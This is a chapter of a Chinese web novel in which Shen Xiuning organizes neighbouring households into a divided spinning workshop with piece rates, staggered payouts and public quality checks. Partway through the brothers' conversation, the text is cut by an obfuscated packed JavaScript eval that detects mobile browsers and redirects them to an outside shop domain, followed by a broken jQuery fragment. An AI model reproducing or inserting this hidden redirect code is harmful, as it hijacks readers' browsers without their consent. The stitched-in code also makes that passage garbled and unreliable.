院门口站了六个人。

    赵婶、刘婶、李婶、陈嫂,外加四个男人。

    四个男人没进屋,在院门根底下排成一排,手都插在袖筒里,互相看一眼,又转开眼。

    沈家院子里第一次站了这么多人。

    纺车声、说话声、脚步声混成一片。

    墙根那几只母鸡被挤到墙角,缩着脖子不敢动。

    沈秀宁把小木桌搬到院子中央。

    又搬来四根长凳。

    桌上摆着炭条、粗棉布、一本裁剩的账本。

    她把最后一张长凳摆正。

    “坐。”

    赵婶第一个坐下。

    刘婶、李婶、陈嫂也跟着坐了。

    四个男人没动。

    沈秀宁抬头看了他们一眼。

    “今天听的是妇人的。你们先在边上站着。”

    四个男人互相看看,没挪窝。

    李叔把两只手从袖筒里抽出来,搓了搓。

    “秀宁,咱是来上工的,不是来开会的。”

    “上工之前,先把规矩说明白。”

    沈秀宁从账本里抽出一张裁好的粗棉布。

    布上画着四行字。

    赵、刘、李、陈。

    每个姓下面又分了行。

    “从今天起,四家十六口人,不再各家纺各家的纱。”

    她指着赵婶和刘婶。

    “你们两家,专纺经纱。”

    又指李婶和陈嫂。

    “你们两家,专纺纬纱。”

    赵婶直了直腰。

    “经纱纬纱有啥讲究?”

    “经纱要细,捻度要紧。”

    沈秀宁从桌上捻起一根纱线,抻直了。

    “一匹布里,经线是被拉直的那一组,承受的力量大。纱不细不紧实,织到一半会断。”

    她把纱线递到赵婶手里。

    “纬纱要粗一些,但要求匀。”

    又拿起另一根纱线,递给李婶。

    “纬纱太细,布面会软塌。太粗又不匀,织出来就得起伏。”

    李婶把纱线对着日头看了看。

    “我纺惯了粗的,粗的好办。”

    陈嫂在旁边点了点头。

    “我也是。”

    刘婶却突然皱了眉。

    “等等。”

    她把手里的纱线往桌上一搁。

    “凭啥赵婶跟我纺细的,她俩纺粗的?这是把人分成三六九等?”

    院子里静了一瞬。

    四个男人也抬起头。

    沈秀宁没急着答。

    她走到刘婶跟前,把两根纱线并在一起。

    “刘婶你看。”

    “这两根纱,一根是经纱一根是纬纱,不是谁高谁低。”

    “经纱纬纱,缺哪根都织不成布。”

    刘婶没吭声。

    “你们纺经纱,一斤三十文。李婶陈嫂纺纬纱,一斤二十文。”

    刘婶一愣。

    “凭啥她们少十文?”

    “经纱工重。”

    沈秀宁把两根纱往桌上一放。

    “同样一斤棉花,纺成经纱要更细更紧,耗的工多。纬纱粗一些,出活快,但同样少不得。”

    刘婶张了张嘴。

    “可这也太——”

    “不是等级。”

    沈秀宁打断她。

    “是匹配。一台织机要配多少经纱多少纬纱,我心里有数。你们各自做好自己的一份,到日子拿钱。”

    刘婶看了看赵婶。

    赵婶点了下头。

    “秀宁心里有数。”

    刘婶这才闭上嘴。

    沈秀宁把布上的字转向四个男人。

    “还有弹棉。”

    李叔从人堆里站出来半步。

    “咋说?”

    “李叔,你以前在码头扛包,一天能扛多少?”

    李叔愣了一下,掰了掰手指。

    “码头扛包,一担两百斤,一天能扛二十担。”

    “那算你一天四十文。”

    沈秀宁从桌上拿起一小团棉花。

    “弹棉一天能弹十二斤,我按一斤五文算,一天六十文。可你弹的是我家的棉花,不用自己出本钱,按月结,一个月一两八钱。”

    李叔的眼睛睁大了。

    “多少?”

    “一两八钱。”

    沈秀宁重复了一遍。

    “比码头多一半。”

    李叔的嘴张了张,没出声。

    他男人在后面捅了他一下。

    “你傻了啊,答应啊。”

    李叔这才回过神,用力点了下头。

    “我干。”

    沈秀宁把棉花放回桌上。

    “但有一条规定。”

    “棉花里的籽要清干净,弹出来的花不能结团。结一团,那一斤就算白弹。”

    李叔拍了拍胸脯。

    “你放心,我手劲大,弓弦拉得开。”

    沈秀宁从账本里抽出一张纸,铺在桌上。

    纸上画着方格,每个格子里写着数字。

    “这是工价。”

    “昨天在门口跟刘婶李婶说的是四六分。我想了一夜,改了。”

    “棉花统一由我出,工价按斤算,更清楚。”

    “纺经纱一斤三十文,纺纬纱一斤二十文,弹棉十斤五十文。”

    “每五天一结,当面算,当面给。”

    赵婶凑过来看。

    她识字不多,但格子里的圈还是认识的。

    “这是啥?”

    “每家每天纺多少,我就记多少。”

    沈秀宁用手指点了点一个圈。

    “一个圈是一斤。满五个圈,就是五斤,按五斤结。”

    赵婶拍了下大腿。

    “我当是啥。这不就跟记鸡下蛋一样?”

    “一个道理。”

    刘婶也凑过来看。

    “那五天就能拿钱?”

    “五天就能拿。”

    “现银?”

    “现银。”

    四个女人对视一眼。

    她们做了一辈子织户,从来都是年底才能见到现钱。

    平时给布庄交货,记账,年底对账,能拿多少全凭牙行一句话。

    现在五天就能见到银子。

    赵婶第一个开口。

    “秀宁,你说真的?”

    “真的。”

    沈秀宁把账本合上。

    “但有一点。”

    “这五天一结,四家不能同一天结。”

    “赵家逢初一、初六结。刘家初二、初七。李家初三、初八。陈家初四、初九。”

    陈嫂有点懵。

    “为啥要错开?”

    “手里现银不够。”

    沈秀宁说得直接。

    “同一天给四家发钱,我拿不出那么多。错开一天,前一天的银钱周转得过来。”

    院子里没人说话。

    男人们互相看看,女人们低头算账。

    赵婶先笑了一声。

    “这有啥。能五天拿到钱,晚一天就晚一天。”

    刘婶也点头。

    “就是。总比年底强。”

    沈秀宁把账本收回怀里。

    “那从今天起,就按这个来。”

    “各家用各家的纺车,搬到我家后院来。院子不够大,先挤一挤。”

    “棉花我家出,纺好的纱交给我娘验。验过了,当场记到账上。”

    “散。”

    女人们站起来,拍了拍围裙。

    男人们跟着往外走,步子比来时松快。

    李叔走到门口,又回头问了一句。

    “秀宁,真的一月一两八?”

    “真的一月一两八。”

    李叔咧开嘴,露出缺了半颗的牙。

    “那我明天带弓来。”

    第二天清晨,沈家前后院都热闹起来。

    前院两台五锭纺车嗡嗡转着,顾婉贞踩一台,沈秀宁得了空就补另一台。

    后院四台旧纺车并排摆在墙根下。

    赵婶和刘婶的纺车小一些,锭子细,线也细。

    李婶和陈嫂的纺车粗一些,出来的纱像棉线绳。

    弹棉的弓挂在院角的枣树上。

    李叔站在树下,一下一下拉弓。

    弓弦嘣嘣响,棉絮飞起来,落在地上像一层薄雪。

    沈秀宁搬了个小板凳,坐在院子角落里记账。

    每家每天交多少纱,她就在账本对应格子里画一道。

    赵婶一天交了四斤经纱。

    刘婶三斤半。

    李婶和陈嫂各交了五斤纬纱。

    李叔弹了十二斤棉花。

    她把数字一项一项填进格子里,晚上又核对一遍。

    第三天也是这样。

    第四天也是这样。

    第五天傍晚,沈秀宁把账本摊在桌上,拿着炭条算了算。

    四家分散做活时,一天大约出纱十斤。

    现在同一天,出了十四斤。

    没加人,没加钟。

    只是把工序拆开了。

    她盯着那个数字看了很久。

    四十斤棉花的本钱,换来十四斤纱。

    一斤纱按均价二十六文算,一天就是三百六十四文。

    扣掉四家工钱,扣掉棉花本钱,扣掉一顿饭钱。

    一天还能落下一百多文。

    一个月就是三两多。

    这比沈大柱一年接的木匠活还赚钱。

    沈秀宁合上账本。

    她没把这个数字告诉任何人。

    墙根传来脚步声。

    沈秀文靠在门框上,看了她三天。

    他手里还攥着那本发霉的四书。

    “秀宁。”

    沈秀宁抬起头。

    “哥。”

    沈秀文走过来,在她旁边的石墩上坐下。

    他看着院子里那四台纺车。

    赵婶和刘婶低头踩锭,李婶陈嫂一边纺纱一边低声说话。

    李叔在院角弹棉花,弓弦一拉一松,节奏稳得很。

    “你这摊子,换我来,我做不了。”

    沈秀宁没接话。

    “不是纺纱我做不了。”

    沈秀文把四书放在膝盖上。

    “是算账。是安排人。是让人服你。”

    他顿了一下。

    “那木头的事,我还没忘。”

    “但你说得对。这摊子,我接不住。”

    沈秀宁把账本往他怀里一塞。

    “那从现在起,你帮我记。”

    沈秀文愣了一下。

    他低头看着怀里的账本。

    格子里的圈圈道道,每个圈代表一斤纱,每个数字代表一天的活。

    “我记?”

    “你读过书,会写字。比我记得快。”

    沈秀文翻开账本第一页。

    上面写着四家的名字,下面是密密麻麻的格子。

    他看了一会儿,忽然发现一件事。

    “赵家初一结,刘家初二,李家初三,陈家初四。”

    他抬头看沈秀宁。

    “为什么错开?”

    “手里现银不够。”

    沈秀宁低头翻了一页账本。

    “四家同一天结,一天要支出一两多银子。错开一天,前一天的银子能续上。”

    沈秀文沉默了一下。

    “你怎么知道刘家一定比赵家晚?”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691624|207911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “我定的。”

    沈秀宁从四书底下抽出一叠裁好的棉布。

    布上画着纺车零件的草图。

    “刘家比赵家晚一天,是因为刘婶性子急,让她多等一天,她会更用心纺,怕出错。”

    沈秀文低头看着那些图。

    “你这些,都是从哪学的?”

    “书里。”

    沈秀宁把四书从他手里抽回来,翻了翻。

    里面夹着七八张画满图形的棉布。

    “四书里夹着纺车图,你也不怕先生看见打你板子。”

    沈秀文难得地笑了一下。

    “先生看不见。他连我交上去的是不是真四书都懒得看。”

    沈秀宁把四书合上,重新塞回他手里。

    “明天开始,你帮我记。每天每家出多少纱,多少斤,记清楚。月底对账。”

    沈秀文收起账本。

    “行。”

    第六天早上,出事了。

    顾婉贞在织机前织了三梭子,忽然停了手。

    她皱着眉,把刚织过去的那一段布翻过来,对着日头看。

    布面上有一道轻微的凸起。

    不仔细看,看不出来。

    但她的手一摸就知道。

    纬纱粗细不匀。

    “李婶。”

    顾婉贞的声音不高。

    李婶正在纺车边说话,听见喊声,赶紧走过来。

    “咋了嫂子?”

    “你这纱,昨天纺的?”

    李婶接过那段布,看了一眼。

    “是我纺的。咋了?”

    “粗细不匀。”

    顾婉贞把布递到她手里。

    “织出来有一道棱。”

    李婶的脸一下子红了。

    “不可能。我纺了二十年纱,从来没人说过我粗细不匀。”

    院子里的纺车声停了。

    赵婶和刘婶都停了手里的活,往这边看。

    沈秀宁从账本前抬起头。

    她没说话,起身走到屋里,把赵婶昨天交的那捆经纱和李婶昨天交的纬纱一起拿出来。

    摆在桌上。

    两根纱并排放着。

    一根粗细均匀,从头到尾像一个人拉出来的。

    另一根明显有粗有细,像有人中间松了把劲。

    沈秀宁还是没说话。

    她只是把两根纱往李婶面前推了推。

    李婶低头看着。

    她的嘴唇动了动。

    赵婶走过来,也看了一眼。

    “哎哟。”

    李婶的脸更红了。

    “我昨天是有点赶。娃他爹催我回去烧饭,我就——”

    “我没扣你钱。”

    沈秀宁打断她。

    李婶一愣。

    “这批纱,粗得均匀的挑出来,配粗经线用。粗细不匀的,拆了重新弹成花,再纺一遍。”

    李婶张了张嘴。

    “这……这损失算我的?”

    “不算。”

    沈秀宁把纱线收回手里。

    “但下次再有,就算。”

    李婶站着没动。

    赵婶赶紧拉了她一把。

    “秀宁都说了不扣钱,你还愣着干啥。”

    李婶这才回过神,接过那捆纱,低声道了谢,转身回纺车边。

    当晚,四家的纺工聚在赵婶家。

    没点油灯,就着灶膛里的火光说话。

    李婶坐在最边上,手里攥着那捆被退回来的纱。

    “今天的事,你们听说了吧?”

    赵婶第一个开口。

    刘婶点头。

    “秀宁没罚她。”

    “是没罚。”

    赵婶把鞋底在灶膛边磕了磕。

    “可她把我跟李婶的纱并排放在桌上,谁好谁坏,一眼就能看出来。”

    陈嫂接话。

    “这比罚钱还吓人。”

    “就是。”

    刘婶叹了口气。

    “以后谁还敢偷懒。”

    四个女人都没再说话。

    火光里,李婶把脸埋进膝盖。

    “我回去就把分纱板擦了。皮带的松紧也调调。锭杆也抹点桐油。”

    赵婶拍了拍她。

    “知道改就行。秀宁给机会呢。”

    第二天一早,赵婶家的纺车先响起来。

    接着是刘家的,李家的,陈家的。

    四台纺车嗡嗡转。

    李婶一边踩一边不时低头看手里的纱线。

    她的纺车比昨天稳了。

    赵婶把分纱板擦了三遍,连锭杆都用桐油抹了。

    陈嫂和刘婶也在检查自己的皮带。

    没有人再说话。

    每个人都清楚,不合格的东西,会被当众摆出来。

    沈秀宁站在院子里,看着她们。

    她回屋,在账本最后一页写下几行字。

    经纱:每寸十二转。

    纬纱:每寸八转。

    字迹端正。

    这是沈记工坊的第一条规矩。

    不是写在纸上。

    是前一天晚上,在所有人眼皮底下立起来的。

    第七天早上,卖棉花的挑着担进了巷子。

    他走到沈家门口,刚要敲门,脚步停了。

    院子里,四台纺车齐刷刷地转。

    赵婶和刘婶低头纺经纱,李婶陈嫂纺纬纱。

    李叔的弓弦嘣嘣响。

    墙根的母鸡早就习惯了这动静,缩在草堆里不动。

    卖棉花的手里的扁担滑了半寸。

    他站在院门口,半天没说话。

    “沈家的院子——”

    他顿了顿。

    “变成作坊了?”